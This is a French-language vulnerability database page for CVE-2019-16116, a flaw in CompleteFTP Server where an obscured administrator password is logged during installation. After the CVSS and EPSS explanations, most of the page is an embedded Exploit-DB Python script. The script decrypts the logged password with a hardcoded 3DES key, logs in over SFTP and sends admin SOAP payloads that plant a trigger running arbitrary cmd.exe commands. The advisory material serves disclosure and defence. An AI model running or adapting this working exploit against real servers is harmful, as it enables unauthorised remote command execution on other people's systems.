CVE-2019-16116 : Détail

CVE-2019-16116

4.3
/
Moyen
A02-Cryptographic FailuresA09-Security Log./Monit. Failures
0.66%V3
Network
2019-10-02
13h29 +00:00
2019-10-02
13h29 +00:00
CVE.org
NVD
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Descriptions du CVE

EnterpriseDT CompleteFTP Server prior to version 12.1.3 is vulnerable to information exposure in the Bootstrap.log file. This allows an attacker to obtain the administrator password hash.

Informations du CVE

Faiblesses connexes

CWE-ID Nom de la faiblesse Source
CWE-327 Use of a Broken or Risky Cryptographic Algorithm
The product uses a broken or risky cryptographic algorithm or protocol.
CWE-532 Insertion of Sensitive Information into Log File
The product writes sensitive information to a log file.

Métriques

Métriques Score Gravité CVSS Vecteur Source
V3.1 4.3 MEDIUM CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N

Base: Exploitabilty Metrics

The Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component.

Attack Vector

This metric reflects the context by which vulnerability exploitation is possible.

Network

The vulnerable component is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers).

Attack Complexity

This metric describes the conditions beyond the attacker’s control that must exist in order to exploit the vulnerability.

Low

Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success when attacking the vulnerable component.

Privileges Required

This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability.

Low

The attacker requires privileges that provide basic user capabilities that could normally affect only settings and files owned by a user. Alternatively, an attacker with Low privileges has the ability to access only non-sensitive resources.

User Interaction

This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable component.

None

The vulnerable system can be exploited without interaction from any user.

Base: Scope Metrics

The Scope metric captures whether a vulnerability in one vulnerable component impacts resources in components beyond its security scope.

Scope

Formally, a security authority is a mechanism (e.g., an application, an operating system, firmware, a sandbox environment) that defines and enforces access control in terms of how certain subjects/actors (e.g., human users, processes) can access certain restricted objects/resources (e.g., files, CPU, memory) in a controlled manner. All the subjects and objects under the jurisdiction of a single security authority are considered to be under one security scope. If a vulnerability in a vulnerable component can affect a component which is in a different security scope than the vulnerable component, a Scope change occurs. Intuitively, whenever the impact of a vulnerability breaches a security/trust boundary and impacts components outside the security scope in which vulnerable component resides, a Scope change occurs.

Unchanged

An exploited vulnerability can only affect resources managed by the same security authority. In this case, the vulnerable component and the impacted component are either the same, or both are managed by the same security authority.

Base: Impact Metrics

The Impact metrics capture the effects of a successfully exploited vulnerability on the component that suffers the worst outcome that is most directly and predictably associated with the attack. Analysts should constrain impacts to a reasonable, final outcome which they are confident an attacker is able to achieve.

Confidentiality Impact

This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability.

Low

There is some loss of confidentiality. Access to some restricted information is obtained, but the attacker does not have control over what information is obtained, or the amount or kind of loss is limited. The information disclosure does not cause a direct, serious loss to the impacted component.

Integrity Impact

This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information.

None

There is no loss of integrity within the impacted component.

Availability Impact

This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability.

None

There is no impact to availability within the impacted component.

Temporal Metrics

The Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence in the description of a vulnerability.

Environmental Metrics

These metrics enable the analyst to customize the CVSS score depending on the importance of the affected IT asset to a user’s organization, measured in terms of Confidentiality, Integrity, and Availability.

 [email protected]
V2 3.5 AV:N/AC:M/Au:S/C:P/I:N/A:N [email protected]

EPSS

EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.

Score EPSS

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Percentile EPSS

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.
EPSS First.org

Informations sur l'Exploit

Exploit Database EDB-ID : 48657

Date de publication : 2020-07-08 22h00 +00:00
Auteur : 1F98D
EDB Vérifié : No

# Exploit Title: CompleteFTP Professional < 12.1.3 - Remote Code Execution # Date: 2020-03-11 # Exploit Author: 1F98D # Original Author: Rhino Security Labs # Vendor Homepage: https://enterprisedt.com/products/completeftp/ # Version: CompleteFTP Professional # Tested on: Windows 10 (x64) # CVE: CVE‑2019‑16116 # References: # https://rhinosecuritylabs.com/application-security/completeftp-server-local-privesc-cve-2019-16116/ # https://github.com/RhinoSecurityLabs/CVEs/tree/master/CVE-2019-16116 # # CompleteFTP before 12.1.3 logs an obscured administrator password to a file # during installation (C:\Program Files (x86)\Complete FTP\Server\Bootstrapper.log) # if CompleteFTP is configured to permit remote administration (over port 14983) it # is possible to obtain remote code execution through the administration interface # # This script requires the following python modules are installed # pip install paramiko pycryptodome uuid # #!/usr/local/bin/python3 from paramiko.sftp import CMD_EXTENDED from base64 import b64encode, b64decode from Crypto.Util.Padding import unpad from Crypto.Cipher import DES3 import xml.etree.ElementTree as ET import paramiko import struct import uuid import sys # region get_server_info get_server_info = """ <SOAP-ENV:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:SOAP-ENC="http://schemas.xmlsoap.org/soap/encoding/" xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" xmlns:clr="http://schemas.microsoft.com/soap/encoding/clr/1.0" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <i2:GetServerInfo id="ref-1" xmlns:i2="Admin API"> </i2:GetServerInfo> </SOAP-ENV:Body> </SOAP-ENV:Envelope> """.strip() # endregion # region update_config update_config = """ <SOAP-ENV:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:SOAP-ENC="http://schemas.xmlsoap.org/soap/encoding/" xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" xmlns:clr="http://schemas.microsoft.com/soap/encoding/clr/1.0" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <i2:UpdateConfig id="ref-1" xmlns:i2="Admin API"> <changes href="#ref-4"/> </i2:UpdateConfig> <a1:ConfigDataSet id="ref-4" xmlns:a1="http://schemas.microsoft.com/clr/nsassem/EnterpriseDT.Net.FtpServer.Config/CompleteFTPManager%2C%20Version%3D8.3.3.0%2C%20Culture%3Dneutral%2C%20PublicKeyToken%3D48e55b33069804ce"> <DataSet.RemotingVersion href="#ref-5"/> <XmlSchema id="ref-6">{XMLSCHEMA}</XmlSchema> <XmlDiffGram id="ref-7">{XMLDIFFGRAM}</XmlDiffGram> </a1:ConfigDataSet> <a2:Version id="ref-5" xmlns:a2="http://schemas.microsoft.com/clr/ns/System"> <_Major>2</_Major> <_Minor>0</_Minor> <_Build>-1</_Build> <_Revision>-1</_Revision> </a2:Version> </SOAP-ENV:Body> </SOAP-ENV:Envelope> """.strip() # endregion # region xml_schema xml_schema = """ <?xml version="1.0" encoding="utf-16"?> <xs:schema id="ConfigDataSet" targetNamespace="http://tempuri.org/ConfigDataSet.xsd" xmlns:mstns="http://tempuri.org/ConfigDataSet.xsd" xmlns="http://tempuri.org/ConfigDataSet.xsd" xmlns:xs="http://www.w3.org/2001/XMLSchema" xmlns:msdata="urn:schemas-microsoft-com:xml-msdata" xmlns:msprop="urn:schemas-microsoft-com:xml-msprop" attributeFormDefault="qualified" elementFormDefault="qualified"> <xs:element name="ConfigDataSet" msdata:IsDataSet="true" msdata:Locale="en-US" msdata:TimestampingEnabled="False"> <xs:complexType> <xs:choice minOccurs="0" maxOccurs="unbounded"> <xs:element name="PlugIn"> <xs:complexType> <xs:sequence> <xs:element name="PlugInID" msdata:DataType="System.Guid, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" type="xs:string" msdata:targetNamespace="http://tempuri.org/ConfigDataSet.xsd" /> <xs:element name="Name" msdata:targetNamespace="http://tempuri.org/ConfigDataSet.xsd"> <xs:simpleType> <xs:restriction base="xs:string"> <xs:maxLength value="100" /> </xs:restriction> </xs:simpleType> </xs:element> <xs:element name="ClassName" msdata:targetNamespace="http://tempuri.org/ConfigDataSet.xsd"> <xs:simpleType> <xs:restriction base="xs:string"> <xs:maxLength value="400" /> </xs:restriction> </xs:simpleType> </xs:element> <xs:element name="PlugInTypeID" type="xs:int" msdata:targetNamespace="http://tempuri.org/ConfigDataSet.xsd" /> <xs:element name="Configuration" type="xs:string" msdata:targetNamespace="http://tempuri.org/ConfigDataSet.xsd" minOccurs="0" /> <xs:element name="CreatedTime" type="xs:dateTime" msdata:targetNamespace="http://tempuri.org/ConfigDataSet.xsd" /> <xs:element name="ModifiedTime" type="xs:dateTime" msdata:targetNamespace="http://tempuri.org/ConfigDataSet.xsd" /> <xs:element name="UserInstance" type="xs:boolean" msdata:targetNamespace="http://tempuri.org/ConfigDataSet.xsd" minOccurs="0" /> <xs:element name="System" type="xs:boolean" msdata:targetNamespace="http://tempuri.org/ConfigDataSet.xsd" /> <xs:element name="EditorClassName" msdata:targetNamespace="http://tempuri.org/ConfigDataSet.xsd" minOccurs="0"> <xs:simpleType> <xs:restriction base="xs:string"> <xs:maxLength value="100" /> </xs:restriction> </xs:simpleType> </xs:element> <xs:element name="AssemblyPath" msdata:targetNamespace="http://tempuri.org/ConfigDataSet.xsd" minOccurs="0"> </xs:element> <xs:element name="MinimumEdition" type="xs:int" msdata:targetNamespace="http://tempuri.org/ConfigDataSet.xsd" minOccurs="0" /> <xs:element name="ChangeSetID" msdata:DataType="System.Guid, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" type="xs:string" msdata:targetNamespace="http://tempuri.org/ConfigDataSet.xsd" minOccurs="0" /> </xs:sequence> </xs:complexType> </xs:element> <xs:element name="Server"> <xs:complexType> </xs:complexType> </xs:element> <xs:element name="SiteUser"> <xs:complexType> </xs:complexType> </xs:element> <xs:element name="Site"> <xs:complexType> </xs:complexType> </xs:element> <xs:element name="Node"> <xs:complexType> </xs:complexType> </xs:element> <xs:element name="TrashHeap1"> <xs:complexType> </xs:complexType> </xs:element> <xs:element name="TrashHeap2"> <xs:complexType> </xs:complexType> </xs:element> <xs:element name="ChangeSet"> <xs:complexType> </xs:complexType> </xs:element> <xs:element name="RuntimeVariable"> <xs:complexType> </xs:complexType> </xs:element> </xs:choice> </xs:complexType> <xs:unique name="PlugIn_Constraint1" msdata:ConstraintName="Constraint1" msdata:PrimaryKey="true"> <xs:selector xpath=".//mstns:PlugIn" /> <xs:field xpath="mstns:PlugInID" /> </xs:unique> </xs:element> </xs:schema> """.replace("<", "&lt;").replace(">", "&gt;").replace('"', "&#34;").strip() # endregion # region xml_diffgram xml_diffgram = """ <diffgr:diffgram xmlns:msdata="urn:schemas-microsoft-com:xml-msdata" xmlns:diffgr="urn:schemas-microsoft-com:xml-diffgram-v1"> <ConfigDataSet xmlns="http://tempuri.org/ConfigDataSet.xsd"> <PlugIn diffgr:id="PlugIn1" msdata:rowOrder="0" diffgr:hasChanges="modified"> <PlugInID>88428040-73b3-4497-9b6d-69af2f1cc3c7</PlugInID> <Name>Process Execution</Name> <ClassName>EnterpriseDT.Net.FtpServer.Trigger.ProcessTrigger</ClassName> <PlugInTypeID>2</PlugInTypeID> <Configuration>{CONFIGURATION}</Configuration> <CreatedTime>2020-03-10T18:33:41.107+08:00</CreatedTime> <ModifiedTime>2020-03-10T10:52:00.7496654+08:00</ModifiedTime> <UserInstance>false</UserInstance> <System>true</System> <ChangeSetID>{ID}</ChangeSetID> </PlugIn> <PlugInType diffgr:id="PlugInType1" msdata:rowOrder="0"> <PlugInTypeID>2</PlugInTypeID> <Name>Event</Name> <CreatedTime>2009-06-29T11:48:00+08:00</CreatedTime> <ModifiedTime>2009-06-29T11:48:00+08:00</ModifiedTime> </PlugInType> <ChangeSet diffgr:id="ChangeSet1" msdata:rowOrder="0"> <ChangeSetID></ChangeSetID> <Sequence>3</Sequence> <CreatedTime>2020-03-10T10:50:44.4209655+08:00</CreatedTime> <ModifiedTime>2020-03-10T10:50:44.4209655+08:00</ModifiedTime> <IsPrimary>true</IsPrimary> </ChangeSet> </ConfigDataSet> <diffgr:before> <PlugIn diffgr:id="PlugIn1" msdata:rowOrder="0" xmlns="http://tempuri.org/ConfigDataSet.xsd"> <PlugInID>88428040-73b3-4497-9b6d-69af2f1cc3c7</PlugInID> <Name>Process Execution</Name> <ClassName>EnterpriseDT.Net.FtpServer.Trigger.ProcessTrigger</ClassName> <PlugInTypeID>2</PlugInTypeID> <Configuration></Configuration> <CreatedTime>2020-03-10T18:33:41.107+08:00</CreatedTime> <ModifiedTime>2020-03-10T10:50:44.4209655+08:00</ModifiedTime> <UserInstance>false</UserInstance> <System>true</System> <ChangeSetID></ChangeSetID> </PlugIn> </diffgr:before> </diffgr:diffgram> """.strip() # endregion # region config config = """ <TriggerDataSet xmlns="http://tempuri.org/TriggerDataSet.xsd"> <ProcessConfig> <ProcessConfigID>0</ProcessConfigID> <MaxProcesses>10</MaxProcesses> <RunTimeout>0</RunTimeout> <QueueTimeout>0</QueueTimeout> <KillOnExit>true</KillOnExit> </ProcessConfig> <ProcessRule> <ProcessRuleID>1</ProcessRuleID> <ProcessConfigID>0</ProcessConfigID> <Name>trigger</Name> <Enabled>true</Enabled> <ProcessType>0</ProcessType> <ProcessPath>cmd.exe</ProcessPath> <Arguments>/c {CMD}</Arguments> <PathFilter>*</PathFilter> <OnError>false</OnError> <OnSuccess>true</OnSuccess> <RowOrder>1</RowOrder> </ProcessRule> <ProcessEvent> <ProcessRuleID>1</ProcessRuleID> <EventType>LogIn</EventType> </ProcessEvent> </TriggerDataSet> """.strip() # endregion def prepare_update_config(uuid, cmd): config_payload = config config_payload = config_payload.replace('{CMD}', cmd) config_payload = config_payload.replace('<', '&lt;') config_payload = config_payload.replace('>', '&gt;') diffgram_payload = xml_diffgram diffgram_payload = diffgram_payload.replace('{CONFIGURATION}', config_payload) diffgram_payload = diffgram_payload.replace('{ID}', uuid) diffgram_payload = diffgram_payload.replace('&', '&#38;') diffgram_payload = diffgram_payload.replace('<', '&#60;') diffgram_payload = diffgram_payload.replace('>', '&#62;') diffgram_payload = diffgram_payload.replace('"', '&#34;') payload = update_config payload = payload.replace('{XMLSCHEMA}', xml_schema) payload = payload.replace('{XMLDIFFGRAM}', diffgram_payload) return payload def send_request(sftp, payload): payload = b64encode(bytes(payload, 'utf-8')).decode('utf-8') res = sftp._request(CMD_EXTENDED, '[email protected]', 'SOAP64 ' + payload) return res def convert_changeset_id_to_uuid(changeset_id): a = struct.pack('i', int(changeset_id[0].text)) # 32 b = struct.pack('h', int(changeset_id[1].text)) # 16 c = struct.pack('h', int(changeset_id[2].text)) # 16 d = struct.pack('B', int(changeset_id[3].text)) # 8 e = struct.pack('B', int(changeset_id[4].text)) # 8 f = struct.pack('B', int(changeset_id[5].text)) # 8 g = struct.pack('B', int(changeset_id[6].text)) # 8 h = struct.pack('B', int(changeset_id[7].text)) # 8 i = struct.pack('B', int(changeset_id[8].text)) # 8 j = struct.pack('B', int(changeset_id[9].text)) # 8 k = struct.pack('B', int(changeset_id[10].text)) # 8 x = a + b + c + d + e + f + g + h + i + j + k return uuid.UUID(bytes_le=x) def get_uuid(sftp): res = send_request(sftp, get_server_info) if res[0] != 201: print('[!] Error could not request server info via SFTP') sys.exit(1) res = b64decode(res[1].get_string()).decode('utf-8') res = ET.fromstring(res) changeset_id = res.find('.//SyncChangeSetID') uuid = convert_changeset_id_to_uuid(changeset_id) return str(uuid) def login(host, port, user, password): ssh = paramiko.SSHClient() ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy()) ssh.connect(host, port, user, password, look_for_keys=False, allow_agent=False) return ssh.open_sftp() def send_command(sftp, cmd): uuid = get_uuid(sftp) payload = prepare_update_config(uuid, cmd) res = send_request(sftp, payload) if res[0] != 201: print('[!] Error could not send update config request via SFTP') sys.exit(1) def decrypt_password(password): key = b64decode('HKVV76GdVuzXne/zxtWvdjA2d2Am548E') iv = b64decode('gVGow/9uLvM=') encrypted = b64decode(password) cipher = DES3.new(key=key, iv=iv, mode=DES3.MODE_CBC) decrypted = cipher.decrypt(encrypted) return unpad(decrypted, 8).decode('utf-16') if len(sys.argv) != 6: print('[!] Missing arguments') print('[ ] Usage: {} <target> <port> <username> <encrypted-password> <cmd>'.format(sys.argv[0])) print("[ ] E.g. {} 192.168.1.128 14983 admin DEomw27OY7sYZs4XjYA2kVB4LEB5skN4 'whoami > C:\\x.txt'".format(sys.argv[0])) sys.exit(1) target = sys.argv[1] port = int(sys.argv[2]) username = sys.argv[3] password = sys.argv[4] cmd = sys.argv[5] print('[ ] Decrypting password') password = decrypt_password(password) print('[ ] Decrypted password is "{}"'.format(password)) print('[ ] Logging in') sftp = login(target, port, username, password) print('[ ] Sending command') send_command(sftp, cmd) print('[ ] Command successfully sent, triggering...') sftp = login(target, port, username, password)

Products Mentioned

Configuraton 0

Enterprisedt>>Completeftp_server >> Version To (excluding) 12.1.3

Références